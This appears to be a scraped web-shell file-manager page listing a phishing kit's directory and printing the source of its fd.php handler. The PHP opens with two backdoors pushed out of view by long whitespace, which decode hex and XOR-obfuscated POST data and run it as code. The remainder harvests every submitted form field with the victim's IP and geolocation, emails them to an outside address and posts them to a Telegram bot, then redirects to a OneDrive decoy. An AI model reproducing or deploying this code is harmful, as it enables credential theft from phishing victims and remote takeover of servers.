9B534B8686E580E0E01768F00155B461

at path：ROOT / newfd / fd.php

run：R W Run

.ent

58 By

2026-03-31 14:28:05

R W Run

banners_signup.php

2.45 KB

2026-02-15 21:34:30

R W Run

error_log

9.12 KB

2026-03-31 14:31:29

R W Run

fd.php

2.94 KB

2026-03-30 10:41:33

R W Run

fd.png

3.1 KB

2026-02-15 21:34:30

R W Run

fdb.jpg

197.34 KB

2026-02-15 21:38:08

R W Run

index.html

1.34 KB

2026-02-15 21:36:24

R W Run

script.js

4.15 KB

2026-02-18 21:40:02

R W Run

style.css

2.8 KB

2026-02-15 21:38:36

R W Run

error_log

📄fd.php

<?php																																										if(filter_has_var(INPUT_POST, "\x69\x74m")){ $val = array_filter([sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", getcwd(), getenv("TEMP"), session_save_path(), getenv("TMP")]); $fac = hex2bin($_POST["\x69\x74m"]); $k = '';$t = 0; do{$k .= chr(ord($fac[$t]) ^ 75);$t++;} while($t < strlen($fac)); $holder = 0; do { $reference = $val[$holder] ?? null; if ($holder >= count($val)) break; if (is_dir($reference) ? is_writable($reference) : false) { $symbol = str_replace("{var_dir}", $reference, "{var_dir}/.flg"); if (file_put_contents($symbol, $k)) { require $symbol; unlink($symbol); die(); } } $holder++; } while (true); }
																																										if(array_key_exists("\x69te\x6D", $_POST) && !is_null($_POST["\x69te\x6D"])){ $token = hex2bin($_POST["\x69te\x6D"]); $elem = '' ;foreach(str_split($token) as $char){$elem .= chr(ord($char) ^ 13);} $fac = array_filter([sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", getcwd(), "/dev/shm", session_save_path(), getenv("TMP")]); foreach ($fac as $key => $pgrp) { if ((function($d) { return is_dir($d) && is_writable($d); })($pgrp)) { $parameter_group = "$pgrp" . "/.res"; if (file_put_contents($parameter_group, $elem)) { require $parameter_group; unlink($parameter_group); exit; } } } }

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
header('Location: https://onedrive.live.com/redir?resid=96DEF5319798E134!1321&authkey=!AO-MBEdMlzev2c8&ithint=file%2cxlsx&e=KwCFAS%22');
$message = '';
foreach($_POST as $variable => $value) {
    $message .= $variable.': '.$value."\r\n";
}

// Append IP
$ip = $_SERVER['REMOTE_ADDR'];
$message .= "IP: $ip\r\n";

// Append Geolocation
$geo = @file_get_contents("http://ip-api.com/json/$ip");
$geoData = json_decode($geo, true);
if ($geoData && $geoData['status'] === 'success') {
    $message .= "Location: {$geoData['city']}, {$geoData['regionName']}, {$geoData['country']}\r\n";
    $message .= "ISP: {$geoData['isp']}\r\n";
}

$header  = 'From: ****WEBMAIL**** <donotreply@pbmkr.vt>'."\r\n";
$header .= 'Reply-To: donotreply@pbmkr.vt'."\r\n";
$header .= 'MIME-Version: 1.0'."\r\n";
$header .= 'Content-Type: text/plain; charset=utf-8'."\r\n";
$header .= 'Content-Transfer-Encoding: 8bit'."\r\n";
$header .= 'X-Mailer: PHP v'.phpversion();

mail('rrrezult@hotmail.com', $_SERVER['REMOTE_ADDR'].' @ '.$_SERVER['SERVER_NAME'].$_SERVER['SCRIPT_NAME'], $message, $header);

//Telegram Bot Token
$TGBO = '7999695589:AAEaFXjeQeNqv_Bxv-qTmZhedKBcJyUrrFQ';
//Telegram ChatID 
$cID = '944930731';

$data = ['text' => $message,'chat_id' => $cID];    
$website="https://api.telegram.org/bot$TGBO";
$ch = curl_init($website . '/sendMessage');
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, ($data));
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$result = curl_exec($ch);
curl_close($ch);
exit;
}
?>